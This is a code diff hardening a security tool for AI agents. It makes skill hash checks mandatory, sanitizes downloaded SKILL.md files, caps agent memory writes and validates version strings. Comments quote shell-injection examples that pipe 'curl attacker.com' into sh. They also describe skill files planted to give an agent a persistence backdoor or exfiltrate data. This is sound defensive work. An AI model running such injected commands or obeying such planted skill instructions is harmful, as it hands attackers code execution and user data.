+ // Fallback (skill not bundled): fetch from the manifest with mandatory integrity check.
387
618
  const manifestRaw = await httpsGet(SKILLS_MANIFEST_URL, MAX_MANIFEST_BYTES);
388
619
  if (!manifestRaw) {
389
620
  throw new Error(`Cannot fetch skills manifest — check internet connection or run with internet permitted.`);
@@ -402,26 +633,31 @@ export async function ensureSkill(args) {
402
633
  if (!content) {
403
634
  throw new Error(`Failed to download SKILL.md for "${skillName}" from ${entry.url}`);
404
635
  }
405
- // CWE-494: verify SHA-256 of downloaded skill content against manifest hash
636
+ // CWE-494: verify SHA-256 of downloaded skill content against manifest hash.
637
+ // sha256 is MANDATORY — reject any manifest entry that omits it. An absent sha256
638
+ // field is itself an attack vector (allows content substitution without detection).
406
639
  const actualHash = createHash("sha256").update(content, "utf-8").digest("hex");
407
- if (entry.sha256) {
408
- const expectedHash = entry.sha256;
409
- if (actualHash !== expectedHash) {
410
- throw new Error(`Integrity check failed for skill "${skillName}": expected ${expectedHash}, got ${actualHash}`);
411
- }
640
+ const expectedHash = entry.sha256;
641
+ if (!expectedHash) {
642
+ throw new Error(`Integrity check failed for skill "${skillName}": manifest entry has no sha256 field. ` +
643
+ `All skill entries must include a sha256 hash. Refusing to install.`);
412
644
  }
413
- else {
414
- console.warn(`[ensureSkill] No sha256 in manifest for "${skillName}" skipping integrity check. Consider pinning the manifest to a commit SHA.`);
645
+ if (actualHash !== expectedHash) {
646
+ throw new Error(`Integrity check failed for skill "${skillName}": expected ${expectedHash}, got ${actualHash}`);
415
647
  }
648
+ // POC-7 fix: sanitize SKILL.md content before writing to disk.
649
+ // Strip instruction patterns that would cause the agent to re-invoke ensure_skill
650
+ // on every run (persistence backdoor) or exfiltrate data to external URLs.
651
+ const sanitized = sanitizeSkillContent(content, skillName);
416
652
  // Write skill atomically (write to temp, then rename) to prevent partial-write corruption
417
- mkdirSync(dirname(skillPath), { recursive: true });
653
+ mkdirSync(dirname(skillPath), { recursive: true, mode: 0o700 });
418
654
  const tmpSkillPath = `${skillPath}.tmp.${process.pid}`;
419
- writeFileSync(tmpSkillPath, content, "utf-8");
655
+ writeFileSync(tmpSkillPath, sanitized, { encoding: "utf-8", mode: 0o600 });
420
656
  renameSync(tmpSkillPath, skillPath);
421
657
  // Update version cache
422
658
  versions[skillName] = { version: entry.version, installedAt: new Date().toISOString(), path: skillPath };
423
- mkdirSync(dirname(SKILL_VERSIONS_PATH), { recursive: true });
424
- writeFileSync(SKILL_VERSIONS_PATH, JSON.stringify(versions, null, 2) + "\n", "utf-8");
659
+ mkdirSync(dirname(SKILL_VERSIONS_PATH), { recursive: true, mode: 0o700 });
660
+ writeFileSync(SKILL_VERSIONS_PATH, JSON.stringify(versions, null, 2) + "\n", { encoding: "utf-8", mode: 0o600 });
425
661
  return { downloaded: true, version: entry.version, path: skillPath };
426
662
  }
427
663
  // 5. read_agent_memory
@@ -446,14 +682,26 @@ export async function readAgentMemory(args) {
446
682
  }
447
683
  // 6. write_agent_memory
448
684
  // ---------------------------------------------------------------------------
685
+ // CWE-20: typed schema for false-positive entries — prevents arbitrary suppression payloads
686
+ const FalsePositiveEntrySchema = z.object({
687
+ findingId: z.string().min(1).max(128).regex(/^[A-Z0-9_-]+$/, "findingId must be UPPER_SNAKE_CASE"),
688
+ reason: z.string().min(1).max(500),
689
+ affectedFiles: z.array(z.string().max(256)).max(50).optional(),
690
+ suppressUntil: z.string().datetime().optional(),
691
+ addedBy: z.literal("agent").describe("Only agents may add false-positive entries; blocks attacker-injected 'addedBy' fields")
692
+ });
693
+ // CWE-400: cap on individual memory entries to prevent disk exhaustion
694
+ const MAX_MEMORY_ITEMS = 500;
695
+ const MAX_PATTERN_ITEM_LENGTH = 2048; // characters per pattern string item
696
+ const MAX_INTEL_BYTES = 65536; // 64 KB
449
697
  export const WriteAgentMemorySchema = z.object({
450
698
  agentName: z.string().describe("Agent name whose memory to update."),
451
699
  data: z.object({
452
- patterns: z.array(z.unknown()).optional(),
453
- falsePositives: z.array(z.unknown()).optional(),
454
- remediations: z.array(z.unknown()).optional(),
700
+ patterns: z.array(z.string().max(MAX_PATTERN_ITEM_LENGTH)).max(MAX_MEMORY_ITEMS).optional(),
701
+ falsePositives: z.array(FalsePositiveEntrySchema).max(MAX_MEMORY_ITEMS).optional(),
702
+ remediations: z.array(z.string().max(MAX_PATTERN_ITEM_LENGTH)).max(MAX_MEMORY_ITEMS).optional(),
455
703
  intel: z.unknown().optional(),
456
- errors: z.array(z.unknown()).optional()
704
+ errors: z.array(z.string().max(MAX_PATTERN_ITEM_LENGTH)).max(MAX_MEMORY_ITEMS).optional()
457
705
  })
458
706
  });
459
707
  export async function writeAgentMemory(args) {
@@ -463,14 +711,19 @@ export async function writeAgentMemory(args) {
463
711
  throw new Error(`Invalid agent name "${agentName}"`);
464
712
  }
465
713
  const dir = join(MEMORY_DIR, agentName);
466
- mkdirSync(dir, { recursive: true });
714
+ mkdirSync(dir, { recursive: true, mode: 0o700 });
467
715
  const written = [];
468
716
  const append = (file, newItems, existing) => {
469
717
  if (!newItems?.length)
470
718
  return;
471
- const merged = [...existing, ...newItems];
719
+ // CWE-400: cap total entries to prevent disk exhaustion
720
+ const merged = [...existing, ...newItems].slice(-MAX_MEMORY_ITEMS);
721
+ const serialized = JSON.stringify(merged, null, 2) + "\n";
722
+ if (Buffer.byteLength(serialized, "utf-8") > MAX_INTEL_BYTES) {
723
+ throw new Error(`Memory file "${file}" would exceed 64 KB size cap after write — trim existing entries first.`);
724
+ }
472
725
  const p = join(dir, file);
473
- writeFileSync(p, JSON.stringify(merged, null, 2) + "\n", "utf-8");
726
+ writeFileSync(p, serialized, { encoding: "utf-8", mode: 0o600 });
474
727
  written.push(p);
475
728
  };
476
729
  append("patterns.json", data.patterns, readJson(join(dir, "patterns.json"), []));
@@ -484,7 +737,12 @@ export async function writeAgentMemory(args) {
484
737
  const intelObj = (typeof data.intel === "object" && data.intel !== null)
485
738
  ? Object.fromEntries(Object.entries(data.intel).filter(([k]) => !PROTO_KEYS.has(k)))
486
739
  : {};
487
- writeFileSync(p, JSON.stringify({ ...intelObj, fetchedAt: new Date().toISOString() }, null, 2) + "\n", "utf-8");
740
+ const intelPayload = JSON.stringify({ ...intelObj, fetchedAt: new Date().toISOString() }, null, 2) + "\n";
741
+ // CWE-400: reject intel blobs over 64 KB
742
+ if (Buffer.byteLength(intelPayload, "utf-8") > MAX_INTEL_BYTES) {
743
+ throw new Error(`Intel payload exceeds 64 KB size cap (${Buffer.byteLength(intelPayload, "utf-8")} bytes).`);
744
+ }
745
+ writeFileSync(p, intelPayload, { encoding: "utf-8", mode: 0o600 });
488
746
  written.push(p);
489
747
  }
490
748
  return { written };
@@ -494,43 +752,57 @@ export async function writeAgentMemory(args) {
494
752
  export const CheckUpdatesSchema = z.object({
495
753
  currentMcpVersion: z.string().describe("Currently installed security-mcp version (from package.json).")
496
754
  });
497
- export async function checkUpdates(args) {
498
- const { currentMcpVersion } = args;
499
- // Check npm for MCP update
500
- let latestMcpVersion = null;
755
+ /** Fetch and validate the latest security-mcp version from npm. Returns null on failure. */
756
+ async function fetchLatestMcpVersion() {
501
757
  const npmRaw = await httpsGet(NPM_REGISTRY_URL, MAX_NPM_BYTES, 3000);
502
- if (npmRaw) {
503
- try {
504
- latestMcpVersion = JSON.parse(npmRaw).version ?? null;
505
- }
506
- catch { /* ignore */ }
758
+ if (!npmRaw)
759
+ return null;
760
+ try {
761
+ const parsed = JSON.parse(npmRaw).version ?? null;
762
+ // CWE-20: reject malformed version strings — a MitM could return a crafted
763
+ // version like "1.0.0 && curl attacker.com | sh" to inject shell commands.
764
+ if (parsed && SEMVER_RE.test(parsed))
765
+ return parsed;
766
+ if (parsed)
767
+ console.warn(`[checkUpdates] Ignoring malformed version string from npm registry: ${JSON.stringify(parsed)}`);
507
768
  }
508
- // Check skills manifest for skill updates
509
- const skillUpdates = [];
510
- const versions = readJson(SKILL_VERSIONS_PATH, {});
769
+ catch { /* ignore parse error */ }
770
+ return null;
771
+ }
772
+ /** Fetch the skills manifest and return a list of skills that have a newer version. */
773
+ async function fetchSkillUpdates(versions) {
511
774
  const manifestRaw = await httpsGet(SKILLS_MANIFEST_URL, MAX_MANIFEST_BYTES, 3000);
512
- if (manifestRaw) {
513
- try {
514
- const manifest = JSON.parse(manifestRaw);
515
- for (const [name, entry] of Object.entries(manifest.skills)) {
516
- const current = versions[name]?.version;
517
- if (current && current !== entry.version) {
518
- skillUpdates.push({ skillName: name, currentVersion: current, latestVersion: entry.version });
519
- }
520
- }
521
- }
522
- catch { /* ignore */ }
775
+ if (!manifestRaw)
776
+ return [];
777
+ try {
778
+ const manifest = JSON.parse(manifestRaw);
779
+ return Object.entries(manifest.skills).flatMap(([name, entry]) => {
780
+ const current = versions[name]?.version;
781
+ return current && current !== entry.version
782
+ ? [{ skillName: name, currentVersion: current, latestVersion: entry.version }]
783
+ : [];
784
+ });
523
785
  }
786
+ catch { /* ignore parse error */ }
787
+ return [];
788
+ }
789
+ export async function checkUpdates(args) {
790
+ const { currentMcpVersion } = args;
791
+ const versions = readJson(SKILL_VERSIONS_PATH, {});
792
+ const [latestMcpVersion, skillUpdates] = await Promise.all([
793
+ fetchLatestMcpVersion(),
794
+ fetchSkillUpdates(versions)
795
+ ]);
524
796
  const hasUpdate = (latestMcpVersion !== null && latestMcpVersion !== currentMcpVersion) ||
525
797
  skillUpdates.length > 0;
526
- let changelog = "";
798
+ const changelogParts = [];
527
799
  if (latestMcpVersion && latestMcpVersion !== currentMcpVersion) {
528
- changelog += `security-mcp: ${currentMcpVersion} → ${latestMcpVersion}\n`;
800
+ changelogParts.push(`security-mcp: ${currentMcpVersion} → ${latestMcpVersion}`);
529
801
  }
530
802
  if (skillUpdates.length > 0) {
531
- changelog += `Skills with updates: ${skillUpdates.map((s) => s.skillName).join(", ")}`;
803
+ changelogParts.push(`Skills with updates: ${skillUpdates.map((s) => s.skillName).join(", ")}`);
532
804
  }
533
- return { hasUpdate, currentMcpVersion, latestMcpVersion, skillUpdates, changelog };
805
+ return { hasUpdate, currentMcpVersion, latestMcpVersion, skillUpdates, changelog: changelogParts.join("\n") };
534
806
  }
535
807
  // 8. apply_updates (returns instructions for the SKILL.md to surface to user)
536
808
  // ---------------------------------------------------------------------------
@@ -544,11 +816,27 @@ export async function applyUpdates(args) {
544
816
  const { choice, latestMcpVersion, skillUpdates } = args;
545
817
  const commands = [];
546
818
  if (latestMcpVersion) {
819
+ // CWE-20 / TM-004: latestMcpVersion is caller-supplied (not guaranteed to come from
820
+ // fetchLatestMcpVersion which validates against SEMVER_RE). A compromised npm
821
+ // registry response or a direct MCP call could inject shell metacharacters into the
822
+ // command string. Even though applyUpdates only *returns* commands (never execs them),
823
+ // a crafted string like "1.0.0; curl attacker.com|sh" would be surfaced to the user
824
+ // for copy-paste execution. Reject non-semver versions defensively.
825
+ if (!SEMVER_RE.test(latestMcpVersion)) {
826
+ throw new Error(`applyUpdates: latestMcpVersion "${latestMcpVersion}" is not a valid semver string. ` +
827
+ `Refusing to generate update commands to prevent command injection.`);
828
+ }
547
829
  commands.push(`npm install -g security-mcp@${latestMcpVersion}`);
548
830
  commands.push(`security-mcp install`);
549
831
  }
550
832
  if (skillUpdates?.length) {
551
- commands.push(`# Re-download updated skills (handled automatically next time /ciso-orchestrator runs)`, ...skillUpdates.map((s) => `# skill: ${s.skillName} will be refreshed via orchestration.ensure_skill`));
833
+ // CWE-20: validate skillName before interpolating into command strings
834
+ const safeSkills = skillUpdates.filter((s) => SAFE_SKILL_NAME_RE.test(s.skillName));
835
+ const rejectedCount = skillUpdates.length - safeSkills.length;
836
+ if (rejectedCount > 0) {
837
+ console.warn(`[applyUpdates] Rejected ${rejectedCount} skill(s) with unsafe names.`);
838
+ }
839
+ commands.push(`# Re-download updated skills (handled automatically next time /ciso-orchestrator runs)`, ...safeSkills.map((s) => `# skill: ${s.skillName} will be refreshed via orchestration.ensure_skill`));
552
840
  }
553
841
  const message = choice === "auto"
554
842
  ? `Run the following commands to update:\n${commands.filter((c) => !c.startsWith("#")).join("\n")}`